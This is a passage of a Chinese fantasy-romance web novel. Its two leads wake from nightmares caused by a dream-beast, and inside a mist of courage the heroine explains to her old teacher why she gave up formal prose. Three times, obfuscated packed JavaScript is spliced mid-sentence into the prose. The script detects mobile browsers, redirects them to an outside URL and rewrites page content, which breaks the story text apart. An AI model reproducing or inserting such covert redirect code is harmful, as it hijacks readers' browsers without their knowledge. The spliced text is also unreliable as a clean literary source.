文落诗急得要哭出来,却发现自己嗓子没办法发出任何声音。那一刻,她的恐惧远远超过了任何情绪,再也顾不上哭了,只能强迫自己不要低头看去,一直仰着脖子,看向视线里那一小片上空。 就这样,不知道过了多久。 偶尔她能看到几颗微弱的星星,在那片有限的圆形视线里,从一端游走到另一端,再永远消失。 渐渐地,她发现四周的石壁忽然没有之前那么光滑了,不知何时,已经长出了崎岖的纹路。 她欣喜若狂,几乎是要激动地流下眼泪。紧接着,她的手指紧紧抓住凸起的石岩,脚踩着一块凸起的石尖,极为小心地向上爬去。 直到很久以后,她的指尖已经全部血肉模糊,双腿好几次发软,险些支撑不住。一抬头,她距离井口只剩下半个头的距离。 文落诗咬紧牙关,咽下满口血腥味,用力一蹬,自己终于爬出了这口深井。 只是情况并没有好转。 她出来之后,却发觉周围荒芜一片。还是深夜,还是森林,无光无亮,杳无人烟。 她心有余悸地坐在井边,察觉自己的心跳在逐渐慢下来。 不知为何,她抬起头,开始在漆黑的天空中找月亮。明明知道自己找不到,却还是想找。没有理由,就是想找。 这个夜晚没有月亮,也可能是她看不到了。 大约是抬着头太久了吧,文落诗逐渐觉得自己的视线开始模糊。一开始只是觉得眼睛有些累,后来视线愈发模糊,周围天旋地转,什么都看不清了。 忽然,文落诗心中一惊,身子一颤。 长晓在哪里?他是不是也被困在井底了? 文落诗很后悔现在才想起他。她之前的大脑像是被恐惧侵蚀透底,有什么力量控制着她,让她没办法想到长晓的存在,被迫忘掉他。 她不要,她不要忘掉他。 那一刻,文落诗无比珍惜自己清醒过来的头脑,无比庆幸自己还没有把长晓彻底忘掉。 可是现在她的视线越来越糊,头晕至极。 那也不行,一定要找的长晓! 挣扎着站起身,她扶着井边的石壁,察觉到有什么液体在沿着石壁落下。大约是她指尖的血。 就这样蹒跚着,她一步一步,走向模糊的森林深处。 终于,在周围没有支撑的木头之时,她一个没扶住,倒在了荆棘丛中。 55. 篝火燃照星满天 文落诗惊醒过来后,急促地喘息了很久。 她全身麻木,好像意识已经跳脱到身体之外,正在从天空中向下看着自己废掉的身躯。 什么都没有发生。她还是靠着树干,周围还是亮着粉色的结界。她急忙甩掉身前盖的斗篷,伸出手,也发现自己的手指没有任何伤痕,完好如初。 而脚边,那只寻梦兽正立着两只耳朵,沉静闭着眼睛,吸收着自己身上泛起的层层黑气。 这个寻梦兽! 文落诗气得嘴角哆嗦。 你让我梦到受惊也就罢了,怎么可以让我在梦里找不到长晓! 不过这个念头一闪而过,文落诗意识到,自己以前从来没有过类似的想法。 像是过多地关心一个人,超过了自己。 她向身侧望去,长晓还没醒来。他紧紧闭着眼睛,眉头轻轻皱起,嘴巴微张喘气。 ——像是在挣扎着什么,或者正在追赶着什么。 她静静坐在了长晓旁边,观察着他的动静。忽然,他那紧绷的眉头松懈下来,神色怅然若失,仿佛身处一场巨大的遗憾之间。 文落诗再也忍不住,出声唤道:“长晓?” 几乎就在那一瞬间,他眉间溢出的黑气断了,而他的双眼也“唰”地一下睁开。 “你还好吗?是不是做噩梦了?”文落诗连忙问道。 长晓毫无防备地被叫醒,目光还有些涣散,精神也并未聚拢,眼前冒出一个文落诗,他有些颤抖地呼出一口气。 “我猜你是做噩梦了,就赶紧把你叫醒。这个寻梦兽,也太过分了。它是增长修为了,把你难受城这样。”文落诗忿然,拿出往日里一个人行走江湖时那极冷的眼神,向不远处的寻梦兽杀过去,见它还在竖着耳朵,吸食者剩余的黑气。 这时,长晓忽然开口,声音有些颤抖:“落诗……你没走……真是太好了。” 文落诗疑惑转过头:“我一直在这里啊。” 而长晓一反常态,就这么认真地看着她,眼神中流露出失而复得的喜悦,似乎要激动得哭出来。 文落诗吓了一跳,却不敢过多表现出自己的情绪,怕再次影响他,只是用极轻的声音说道:“别怕,我没离开过,我一直在。” 长晓的情绪慢慢恢复,整个人身上的气息也逐渐平稳下来。他垂眸道:“对不住,我梦见的内容不算好,方才没缓过来。” 文落诗当然不介意:“你先坐一会,别着急,我也经常做噩梦,很理解你的感受。” 身后忽然传来一阵熟悉的刨地声。 长晓抬头,看到寻梦兽毛绒绒的双耳逐渐垂下,恢复了最初的垂耳兔模样。它本想立刻溜走,却发现自己被文落诗的结界困住了,根本无路可逃。 文落诗撇撇嘴角,走到寻梦兽面前,居高临下地看着它:“我的梦不重要,但是你欺负长晓,我就生气了。” 长晓闻言一怔,有些意外地看向文落诗。 “所以呢,暂时不让你走了,罚你再让我们抱一会。” 这之后,无论寻梦兽多少次想挣脱,都没办法再跑了。文落诗在它身上下了咒,让它短时间之内没办法移动。无论它内心有多不情愿,都只能任由文落诗和长晓摆布。它被他们轮流抱着,摸来摸去,一直到天色渐渐亮起,浓墨一般的黑夜渐渐稀释。 而且最气的是,文落诗还故意倒着摸它的毛!谁懂毛不顺有多难受啊! 天完全亮起来的时候,寻梦兽耷拉着眼睛,已经彻底没脾气了。文落诗这才向上一拎它的耳朵,手动让它变成立耳的模样。 “好,最后再让我们欣赏一下立耳的可爱样子,就放你走了。”文落诗浅笑嫣然,一脸享受。 寻梦兽瞪着黑溜溜的眼睛,仿佛下一秒就要咬碎牙齿。 好在文落诗说话算话,撤离了周围的结界,也解开了它身上的定身咒。 它一瞬都不愿意多停留了,蹬着四肢敏捷的小腿,跑进了丛林深处,再无影踪。 长晓见状,忍不住淡淡一笑:“你可真会折腾它。” “那是,谁让它欺负你的。”文落诗面容十分自信,像是大仇得报,痛快至极。 “哦?帮我报仇啊?” “那当然,不然我为什么要……”文落诗转过头时,话卡在了嘴边,因为她发现长晓看自己的眼神不太对。 她一时没再说出话来,只是静静盯着长晓的眼眸,想要把那复杂的神情参透。 那双眼眸中,有如熏风般的温度,有湖水般的波动,也有明晃晃的勾人意味。 说实话,文落诗在话本里描写过无数次这种眼神,但却是在生活中第一次见这种眼神。 她别过头去,暗道不好,自己差一点就完全沉溺进去,再也逃不出来了。 “为什么这么看我……?” “你说呢?” 文落诗倏忽转过头,盯紧长晓的眼睛:“我说,你是不是该给我讲讲,梦到什么了?” 长晓闻言,无语了好一阵。 你说她不解风情也好,说她故意偷换概念转移话题也罢,总之她就是不愿意面对这件事。 他轻叹一口气:“你先给我讲你梦到什么了,让我有个准备。” 文落诗皱眉:“为什么要准备?” 长晓语气幽幽:“算了,我明白了,你肯定没梦到我。” 文落诗怔住:“我是没梦到你这个人,但是梦到要去找你。” 长晓本是晦暗的眼神,忽然间亮起一道光。他眼神幽然,黑得深不见底,像是想把文落诗吸进去。 “大概就是我被困在了一个井底,爬不上来,身体悬空,脚下是无尽深渊。最终费尽全力爬上来之后已经是血肉模糊,目光混沌。那时候我发现你不在身边,想着去找你,但因为看不清了,摔进了丛林里。然后就摔醒了。” “……” 长晓直愣愣地看着她,很少有像现在这样接不上话的时候。 敢情这就是她所谓的“梦到要去找自己”。 “我的梦讲起来很简单,但经历起来很痛苦吧?”文落诗在长晓眼前晃了晃手,打断了他的愣神。 “但我梦见你了。” 文落诗一愣神,那只正在长晓面前晃悠的手忽然悬住。 “梦见我什么?” “梦见你一直在跑,跑过一座巨大的石桥,从长河的北岸跑到南岸,头也不回。” 文落诗惊了:“这么详细啊?” 长晓颔首。 文落诗一撇嘴:“虽然梦不能作为现实解读,但我或许可以理解为,你挺在意我的。” “是很在意。” 他如此直接,把文落诗噎得说不出话来。 后来两人没再多聊,而是继续向前走。阳光尚好,透过头顶的树枝照到地面上,好几次文落诗都停下脚步,伸出双手,感受着阳光洒在手上的暖融融。 长晓也不说话,安静地在一旁看着她一路胡闹,从一片丛林中蹦蹦跳跳走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918871|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又进去了下一片更黑更密的丛树林。 他没说的是,在梦中,他看着文落诗一路在前面跑,越来越远,而他一直在后面追。 那时候他们都忘了自己是魔,都忘了自己身怀法力,只记得自己还活着,还有力气向前跑去。 他唯一的意识,就是用尽全力追上那个快要消失在视线之中的姑娘。 那姑娘像是着急要去见什么人一般,从城中跑出,一路不停,跑过了石桥。桥下是湍急的河流,一不留神就会掉下去,被波涛卷走。 但长晓甚至没有犹豫,他疯了一样去追。 却只看到那个身影越来越远。 他不敢停下来,也不敢思考自己累不累。他只知道,如果不往前跑,有可能这辈子再也见不到她了。 想到此处,长晓的目光凝在文落诗身上,见一只蝴蝶翩然飞来,停留在她肩膀上。在万里漆黑的森林中,一束光洒在她头顶,绘出了唯一一抹颜色。 幸好,他被她叫醒,发现只是大梦一场。 * 就这样一路走走停停,二人漫无目的地穿行在泼墨森林中,两个月已然过去。 这两个月期间风平浪静,偶尔遇上几只小型魔兽,有些温和的两人看着新鲜,停下来欣赏一阵,有些暴躁的,就直接随便挥挥手就给打发了。反正,兽不犯我,我不犯兽。 进入夏年,天气越来越热,泼墨森林中本就闷热潮湿,如今热气愈发浓烈,热得文落诗放弃了散头发,拿出自己的簪子,打算把头发绾起。 “你有没有觉得,这一路太长见识了?”文落诗正歪着脑袋盘头发,随口问道。 “当然,”长晓温声回应她,“这里大多数的草木的活物都是第一次见,只有少数的,我以前在书上见过。” 文落诗绾了个斜高的发髻,拿着铜镜照了照,总觉得少了点什么,于是手中流动起粉烟,唤出几个钗子,给自己插.进头发里。 她放下铜镜时,发现长晓不知何时,已经来了自己身前。 “歪了一些。”长晓也没多说,自然地敛袖伸出手,取下文落诗头上那只歪歪扭扭的发钗,给她重新戴好。 两人离得极近,文落诗几乎稍稍向前倾身,脸就能贴在长晓的颈间。 看着他那微微凸起的喉结,文落诗咽了口吐沫。 她忽然有点理解话本里色魔这类恶毒配角的存在了。 而就在这一刻,长晓后退一步,离开了她的眼前。 “帮你重新戴好了。怎么觉得你脸有点烧?是不是太热了?” 长晓低头,声音很轻很轻。 文落诗却不敢抬头了,这大约是她第一次心里发虚到不敢抬头。 “没事,刚束起头发,一会就不热了。” 她含糊其辞。 大约是一系列举动过于自然了,长晓此刻,明显感受到了文落诗的不对劲。 两人继续向前走,准确地说,是溜达。 不知过了多久,长晓忽然想明白了什么,嘴角一勾。只可惜文落诗没往他的方向看,错过了这一抹转瞬即逝的笑意。 正午来临,艳阳高照,哪怕有树枝的遮蔽,都难逃烈日的毒辣。好不容易走入了一片更为茂密的林间,小风吹过,二人身上的汗落下来,告别了方才的煎熬。 只是前方,那阵凉风越来越冷,像是一片特殊的地带。 文落诗察觉不对劲,停下脚步,静静盯了前方许久,才道:“我们怕是遇到一念雾了。” 56. 篝火燃照星满天 文落诗向前又走了几步,感受着越来越凉的风,愈发确定了自己的猜想。 “你是不是不了解一念雾?”她见长晓没跟上来,转头看向他。 “书上读到过,”长晓走上前,温声答道,“让人在雾中做出之前不敢做的一件事,只不过,不会留下记忆。” 文落诗右眉上挑:“就这些?” 长晓颔首:“书上只写了这一行。你知道更多?” “你看的什么书啊?”文落诗语气拔高,“这也太简陋了,这种书还能出版,哪家书局这么不靠谱?” 长晓怔住,顿时有些窘迫,犹豫了好半天,开口:“融雪藏书阁里的一个孤本。” 文落诗瞬间不说话了,睁大眼睛看着他。 “我刚刚什么都没说。”她转过身去。 长晓见她如此反应,很是好笑:“这种拐弯抹角的知识,自然是民间的丛书更详细一些。这点我承认。” 文落诗眨眨眼,皱眉:“我刚刚可没有任何大不敬的意思。” 长晓面色僵住,心神一凛:“为什么跟我这么说?” 文落诗盯上他的眼睛:“你不是融雪城的人吗?万一你跟魔宫有不浅的关系,回去给我告状,说我嫌弃藏书阁的书。” 在反应过来她在说什么之后,长晓几乎笑出声来:“我是那种落井下石的人吗?” 文落诗别过头去,语气有些委屈:“我也不知道,只是想着保险起见嘛,毕竟咱俩非亲非故的。” 行了,一听这种语气,就知道她没事了。 长晓看着她的侧脸,心中大大松了一口气。 他刚刚真的以为,她已经什么都知道了。那一瞬间,他连最坏的打算都做好了。不过好在,是他想多了。 “那本书是个地域志,讲泼墨森林的部分笔墨很少,大约是作者也不甚了解。” 长晓看向文落诗,见她鬓角挂了一缕散下的头发,正在蹭着耳朵。 文落诗把头转回来:“我看过一本更详细的书。刚刚雾气已经开始涌起,现在我们时间不多了,我就直说了。一念雾是泼墨森林的特色,随处可能会遇到。它的预兆是异常的凉意,就像刚刚那样。” 长晓静静听她说着,轻轻伸出手去,帮她把发丝顺到耳后。 “嗯,我在听。” “而凉意的最终,是起雾。雾气会在短时间之内越来越浓,最终将人包围在内。直到完全看不到四周的那一刻,雾中人会进入一种特殊的意识中,大约有半盏茶的时间,很短。但是,被雾气包围的人会在这段时间内,做出自己迄今为止最想做、却一直不敢做的一件事。而后,人会再次失去意识,雾气散去。重新有意识时,人们不会留下任何记忆。” “有些像做了一个梦。” “差不多,一个勇敢的梦,但醒来后并不知道自己在梦里做过什么。” “最想做却一直不敢做的一件事,那么,需要在失去意识前想好吗?” “不用,这种事情,往往存在于潜意识中,人们在头脑清醒时意识不到。”文落诗见着周围雾气渐浓,十分镇定,“我现在让你回想一下,从出生到现在,你最想做却一直不敢做的一件事,你能立刻说出来吗?” 长晓认真想了想,道:“短时间之内,还真不能。” “是了,而且最重要的,你冥思苦想出来的这个‘最’,不一定是你真正‘最’想做的。” “有道理。” “生活太复杂了,会遇上不同的人和不同的事,无论是人情世故还是法理伦常,再或者是自己或他人的面子,我们需要顾虑太多。有的事情,怕是连想都没敢想过。” “所以,这种雾气会帮人判断出这个‘最’?” “是的,在刚进入那半盏茶的虚幻时间时,你一睁眼,脑子里就会出现这件事。” “想做,但是不敢做?” “对,不是做不到,仅仅是不敢做。” 长晓点头,大致明白了。 “还有什么要问我的吗?”文落诗抬起头,笑盈盈地问道,“真没想到,有朝一日,我能靠这些琐碎的知识压你一筹。” “有个极端想法,若是这事伤天害理呢?” “无所谓啊,反正是虚幻的,而且你出了雾气也记不住,跟没发生过一样。” “那,若是涉及到不在森林中的旁人呢?” “这个很有可能。书上说的是,与你相关的那个人会被唤来雾中。他在森林外根本不知道这事,不会有这段记忆,也不会在此时此刻有任何异常。相当于一个幻影,只不过,你不觉得他是幻影,就像他真的在你面前一样。” 长晓表示了解。 “最后一个问题,这场虚幻的意义在何?” “对于不懂一念雾是何的人,可能不存在任何意义,毕竟没有记忆。但是,若你提前知道自己遇上了一念雾,或许,日后的生活会很不一样。” 长晓那双幽黑的眼眸中光波涌动,像是明白了。 “一念雾还有个特殊之处,那就是,日后若是你真的有勇气,在现实中做出了今日虚幻中所做之事,你的这段记忆会恢复。” 长晓闻言,有些唏嘘。 “人都有好奇心,会想知道自己到底做了什么。特别是,哪怕在雾中没有记忆没有意识,感觉却会留下。” “比如,有人在雾中打了我,我的疼痛感会留下,一直到我恢复意识之时?” “完全正确。所以,很多人经历过一念雾后,会变得很勇敢,去尝试各种新事物,或是把之前的所思所想付诸实践。以往优柔寡断或是大小怕事的人,可能都会变得大胆些。哪怕没有完成这件事,未能找到记忆,接下来的生活也一定会变得更丰富,人会变得更加有勇气,这样一来,更有所作为。” 长晓望着身侧逐渐涌起的薄雾,站得离文落诗更近了一些。 他手中出现一个水囊,递给文落诗:“说了这么多,赶在失去意识前,喝口水。” “多谢啊,”文落诗接过水囊,“还有一件事,就是咱们两个大约是会共同经历这场一念雾,因为我们被困在同一片雾气之中。” “所以呢?”长晓看着她仰头喝水的样子,眼波温柔。 “所以每个人的时间会砍半,想做什么得抓紧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930509|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,我明白。”收回水囊,长晓拉着文落诗在地上盘腿坐下,“估计很快就会失去意识了,先坐一会休息。” 文落诗没意见,甚至开始闭目养神,静待这场虚幻的来临。 长晓看着她阖眼静坐的样子,思绪有些游离。他最想做的,会是什么呢? 他有几个预想,无非是与母亲和朝政相关。可若是让他排出个一二三四,还真难。 他干脆不想了,学着文落诗的样子,闭上眼睛。 四周雾气渐浓,白花花厚雾迅速遮住了森林中的所有黑色,像是有一种巨大的吸引力,让人再也无法逃出。 随之而来的是天旋地转,狂风大作。 * 文落诗和长晓几乎是在同一瞬间睁开眼的。 文落诗眼神直愣愣的,看着白得有些刺眼的雾气,片刻失神。她眼底有一丝猛烈的情绪袭来,夹杂着欲言又止的痛苦,像是刚从苦海中逃出,全身尚是湿漉漉的一片。 她反复确认了脑海中的画面,才渐渐回过神。 ——她没想过,自己最想做却不敢做的事情是这个。 顷刻间,她自嘲般地仰头,努力吸了好几口空气,调整好情绪。 “长晓,你先来我先来?” 可她转头看向长晓时,却见对方满脸震惊地看着自己。 长晓此刻,双眼睁大,面色僵滞,神色时而游离,时而复杂至极。 唯一能确定的是,他在看着她,像是想从她身上找出原因一般。 “你这是想做什么啊,这么惊讶,还看着我惊讶?”文落诗看到长晓少见地一动不动的样子,有些好笑,忍不住抬起手,在他眼前晃了晃,“回神啦!你要是还没回神,我就先来了,不能再耽误时间了。” 可长晓的眼眸一动不动,一直在盯着文落诗。他目光有些空虚,又有些难以言说,好像滔天巨浪般的情绪被他压制住,流露出来的,只剩下没有边际的震惊。 闻言,他微微一点头,算是同意。 文落诗也有些懵,毕竟她第一次见长晓如此模样。 只是,他们总共只有半盏茶的时间,若是再不开始,就来不及了。 文落诗不再犹豫,站起身,掌中粉烟流动起。那几道粉烟徐徐交错于身前,渐渐形成一个镜子一般的光圈。 在等待时,文落诗闭上眼,微乎其微叹了口气。 她知道自己的手掌心冰凉,牙关和腿都在抖,面色大约也是惨白的。 好害怕。 她知道这是假的,但她还是害怕。 一念雾,一念之间,可对可错,可狂妄可消沉,可肆意可腐朽。 这雾气真的很懂她。 方才刚重新拥有意识的那一会,文落诗仔细想了想。她觉得,醒来的那一刻她脑海中出现的事情,倒还真是她最想做却一直不敢做的。 若是她能选择时间,她当然知道,自己此刻还没完全做好准备。 可是一念雾就是如此,不给她犹豫和退缩的时间。 待她重新睁开眼眸,平静抬起头的那一刻,面前的光影忽然开始波动,最终,从中走出一个老者。 57. 篝火燃照星满天 老者顶着白花花的胡子,弓着苍老的背。他的脸颊上印着层层皱纹,整张脸向下耷拉着,垂向地面,好像一个泥人即将化掉的样子。 文落诗的嘴唇有些颤抖,看着老者缓缓走来,一时说不出话。 那一瞬间,她甚至以为,今日的重遇会像年少时一样,他们擦肩而过,都装作没看见对方。 可那老者在看清文落诗后,干瘪的下嘴唇拉下来,声音老得颤抖:“文丫头?” 文落诗身子一直在抖,控制不住地抖。一时半刻,她不敢回答。 老者上前一瞅,眨了眨充满皱纹的眼皮,好像很纳闷。 “真是文丫头啊,好久没看到你了。” 文落诗的眼睛有些湿,嗓子哑哑的:“殷老先生,好久不见……” “哭什么啊?”老者似乎想起了什么,严肃起来,胡子支棱着,瞪了文落诗一眼。 又是瞪我一眼啊…… 当时只道是寻常,后来多少年,哪怕希望有人骂我瞪我,都没有了。 不知是一念雾洗去了文落诗心中的矜持和犹豫,还是熟悉的这一瞪眼戳破了她所有幻想,总之,此刻的她忽然有了底气,想把在心里藏了六百余年的话说出来。 “殷老先生,您知道这是哪里吗?”文落诗笑得有些凄凉,没等老者开口,就自问自答道,“这里是泼墨森林,您这么博学,应该知道,这里是连接一二重天最危险的区域。可偏偏这最危险的地方之中,有这么一片让人释怀的地方。您和我,现在身处一念雾之中。” 老者微微愣神,环顾四周,想搞明白自己为何会来到这里。 “一念雾可以使我做出迄今为止最想做却不敢做的一件事情,而如果这件事涉及到另一个人,那此人便会被我唤来。殷老先生,这便是你出现在此处的原因。” 文落诗顿了顿。 “但您不用担心,这里的一切只是虚梦一场,雾散后,谁也不会有这段记忆。您就当没见过我。” 听面前的小姑娘语气平静,侃侃而谈,老者面色却不改,眼神又古板又死气。偏偏这死气之中,还夹杂着绝世大儒的严肃气概。 终于,老者低沉开口:“找老夫陪你做一场梦,就这样?” 文落诗一咬嘴唇:“我想道个歉。” 老者身形僵住。 一时半刻,两个人都没有再说话。 直到很久以后,老者把头别开,丝毫不愿意再看文落诗。 “你不用道歉,这是你自己的选择。老夫没什么可说的。” 文落诗像是预料到了他会如此反应,内心毫无波澜。只不过,她没意识到,自己的眼眶不知何时已经湿了。 “那么,不是道歉,是解释。我想解释一下当年的事情。”文落诗的语气沉得出奇,她的心跳好像停止了,“在一念雾里,我恢复意识的时候得知,我最想做的却一直不敢做的事情,是跟您解释我为什么放弃了写您所谓的正统文章。哪怕这个解释已经不重要了,哪怕我这么做会显得我很矫情。” 老者目光松动,想说什么,却立刻又绷住身形,装作不在乎的样子:“你都已经放弃了,这是既定事实,原因早就不重要了。” “但我觉得很重要。我不想在和您碰上时,只能互相干瞪眼,一句话也不说,两个人一个赌气一个觉得亏欠,最终只能像仇人一样擦肩而过,装作不认识。” 文落诗意识到自己的声音在打颤,也朦胧间发现,自己的下额处,挂了一滴不知何时留下的泪珠。 老者身上硬挺的气息消失了。此刻的他,更像是一团摧枯拉朽般的布料,好像被击中内心一般,不再盛气凌人。 “在我离经叛道之前,您一直十分看重我。在您的印象里,我是一定会选择继续跟您深造的那几个学生。我也是这么想的,直到最后一天之前,我都没想过要转变自己的道路。 “但是最后一天的我改了主意,我知道,除了您,我的同窗们都很惊讶。嗯……我一般都是这么对同窗们解释的,我说,我这个一直文章拿甲等的好学生,在第一次拿乙等的时候,跟自己有过一个赌约。我给自己三次机会,如果到了第三次还是没能回到甲等,那我就不再写这些传统的正经文章了。” 老者忽然打断了文落诗:“所以,你和自己打赌,赌输了?” 文落诗点头:“我第三次收到成绩,是到那一年年末,恰逢选择是否要继续读书之时。那之后我选择了离开。” 老者气喘得有些急,匆忙抬头:“你这个丫头……我都不这该说你什么了,你怎么就这么轴呢?就因为你自己幼稚地跟自己打了个赌?还是因为某一次的成绩?” 见老者十分动容,文落诗显得更加不急不缓:“因为,这只是对外人讲述的故事版本。” 老者紧皱的眉头僵住。 “这个自己跟自己的赌约,确有其事,成绩吧,我也确实连着三次没拿到好成绩,但您应该也知道,我没那么幼稚。真正让我选择告别的,是我当时的一个发现。” “你发现什么?” “发现我其实并不喜欢写骈文,写赋,写论说。” “你这丫头……你写得很好啊!一般哪里有人能写到你这么好?” “殷老先生,我当时想明白的就是,擅长,或许不等于喜欢。” 老者听闻此言,愣住许久,眼珠不转,身形不动。像一团僵硬的空气,又像一簇干硬的树枝。 “那天我拿到您批下来的文章,开始思考一件事,就是我当初为什么会选择学习这些板正的文体。我想了很久才发现,并非因为我喜欢,而是因为我的潜意识里,一直想向别人证明一件事。” 文落诗说到此处,哪怕再从容、再面不改色,还是觉得身上一阵麻木袭来。她知道,那是一种克制着激动的情绪、而紧张却要涌出的感觉。 她嘴角有些抖,吸足一口气,努力用最镇定的语气说道: “在很多人眼里,写这些板正的文体,是男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935557|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子独有的天赋。而女孩子生来就写不好这些,只能去写那些柔肠百转缠绵悱恻的诗歌,再或者是去写世俗意义上没什么技术含量的话本子。这是个传言,但很多人信以为真,想必您也知道。” 老者混沌的目光顿住,想来是他当然知道这件事。 “我不服。好像从小到大我一直就不服,我想像别人证明,我不是他们眼中那些‘不行’的人。大约是这样吧,我才一直在写自己不喜欢的东西,误以为自己喜欢,把那些成就当作自我安慰。 “后来我在怀疑,我努力的意义究竟是什么。好像我一直努力做一件不喜欢的事情,只是为了证明给那些从一开始就看不起我的人。那么,即使我成功了,哪怕他们对我有改观,我也并不难收获快乐。 “所以那一刻我想通了。我有我自己的人生,我有我自己想做和喜欢做的事情。我不需要为了向别人证明什么而强迫自己。 “我很感谢您对我的看重,也很对不起您的期待。所以这么多年,我一直很想找机会解释一下,我为何会做出如此选择。 “现在,我说完了,谢谢您一直在听。” 那被称作殷老先生的人,此刻目瞪口呆,过了很久都没再说出话来。 四周皆为萦绕不散的雾气,一切变得越来越虚无,身处其中,文落诗感到一阵晕眩。注视着自己往日的老先生站在面前,如同虚影泡沫一般梦幻,文落诗甚至觉得意识跳出了身体之外。她仿佛失去了知觉。 忽然一阵狂风大作,老先生被吹得连连后退几步。 那一瞬间,文落诗的意识仿佛回到了身体之中。她惊醒过来,现在的一切都即将消失。而她也是时候送老先生离开一念雾了。 她甚至不知道,是一念雾的短暂让自己不得不赶时间,还是自己还没做好准备,去面对殷老先生接下来反应。 好复杂,当年的事情好复杂,就如同此刻逐渐浓厚的雾气一样,再也看不到最初。 那名为殷老先生的人,是在这大雾最浓之时离开的。 他的身形一点一点消失,从脚开始变为透明,好像白茫茫之中的误入者,被空气涂抹干净。 只是,直到最后,只剩下一双老朽的眼之时,还在紧紧看着文落诗,像是有万般不舍。 可他已经没有机会再说话了。 一如文落诗那已逝去的从前。 老者走后,文落诗心中狠狠松了一口气。她倾颓下来,感觉身子发软,险些站不稳。 她本想什么话也不说,让自己先静一静。仿佛周围的空气开始变得平静,头脑中也逐渐变得清明。再次睁开眼的时候,她觉得缓过来了,长长舒出一口浊气。 可她清醒之余,却忽然想到了什么。 一念雾的时间限制! 不好,时间怕是都被自己用得差不多了,而长晓还什么都没做! 文落诗的懊悔之意瞬间涌起。她立即转头:“长晓,真抱歉,我是不是耽误了过多的时间?” 58. 篝火燃照星满天 文落诗轻轻一抬眼,发现长晓还是如同刚醒来那样,静静坐在雾气的另一端。此刻,他眼神中的震惊已经散去,却依旧复杂至极。 她心下惊讶,因为她是真的没见过长晓如此模样。甚至可以说,他像是眼神中藏着一只被压抑已久的猛兽,想趁他意识模糊之时扑出来,却被他狠狠拦住。 “你没事吧?是还没缓过来,还是被我刚刚的事情刺激到了?” 文落诗见长晓这个样子,心下有些慌。她想也没想,朝长晓走去,在他面前蹲下身子。 这一刻,二人皆平视着对方。 长晓目光深深看向这个蹲在自己面前的姑娘,见她眼神中担忧之情尽显。那一瞬间,长晓的内心好像化开了一般,只觉得她的双眸中波光潋滟,如同绵绵春水一般,柔软至极。 文落诗的心跳有些厉害。她一时难以解释是刚刚遇见殷老先生的余悸未散,还是自己有些承受不住长晓这样的眼神。 “你……要不要我扶你起来?真的要抓紧时间了,很快雾气就要散了,你还什么都没做呢!我可不想你白白浪费了一念雾……” 文落诗说完,站起身子,下意识地向长晓伸出手。 长晓缓缓抬起眼眸,对上文落诗的眼:“我在想,我的事情,要不就算了吧。” 文落诗几乎脱口而出:“为什么?” 长晓也不挪看眼神,只是薄唇微启,声音有些虚无:“我觉得不合适。” 而就在此时此刻,周围的雾气终于开始涣散,正在一丝一丝抽离, 文落诗内心快急死了。她明显感受到觉得自己伸出的手一直悬在空中,有些麻木。 而长晓的眼神仍有些落寞。 文落诗心一横,把各种礼节都抛之脑后,干脆俯下身子,紧紧抓住长晓的胳膊,企图把他从地上拽起来。 “快起来,别在地上坐太久了。” 长晓的手臂被她抓住的那一瞬间,整个人懵懵的,什么也没动。 他不起,文落诗当然也拽不动他。她心里愤愤地,咬牙开口:“你知道我心疼你,不许浪费我的心疼。” 长晓的目光重新凝聚起来,也不说话,只是看着文落诗的那一瞬间,仿佛想哭。 他相当反常,反常到文落诗束手无策。 忽然,某一瞬间,文落诗恍然大悟一般:“你是不是不愿意让我看到你做什么?我不在乎的,真的,我不在乎,反正之后都会忘掉。” 长晓再次启唇,却声音有些颤抖:“你真的不在乎?” 文落诗的手还是紧紧抓着长晓的臂,丝毫不愿意松开。 周围的白色又淡了很多,一念雾就要结束了。 周围的视野也逐渐变得清澈,只是清澈得有些刺眼。 “那我闭眼!对,我闭眼,再封住自己的耳识就好了,你……千万别因为我……” “不是这样,”长晓着急否认,只是声音有些凄凉,“我只是……怕你不愿意。” 文落诗满脸疑惑:“我有什么不愿意?” 她顾不上其他了,再次使劲拉了一把长晓的胳膊,只不过这一次,长晓仿佛凭借本能一般站了起来。 她心下终于松了口气,连忙道:“雾还没完全散,还来得及,你赶快。” 只是这一瞬间,她发现,她拉着长晓那只手并没有松开。 说不清楚是种什么感觉,只是觉得长晓离她太近了,近到她能清晰感受到面前的温热。 文落诗想把手立刻撤回来,可是当她低头看去时才发现,这只手完好,而另一只手,手腕处已经被紧紧抓住了。 这一瞬间,她脑海中空白了。 她只得那只完好的手僵僵地缩回来,下一刻,她变得不敢抬头去看面前的人。 她好像明白长晓为何如此犹豫了。 “你……先放开我。” 如她所料,对方没回答。 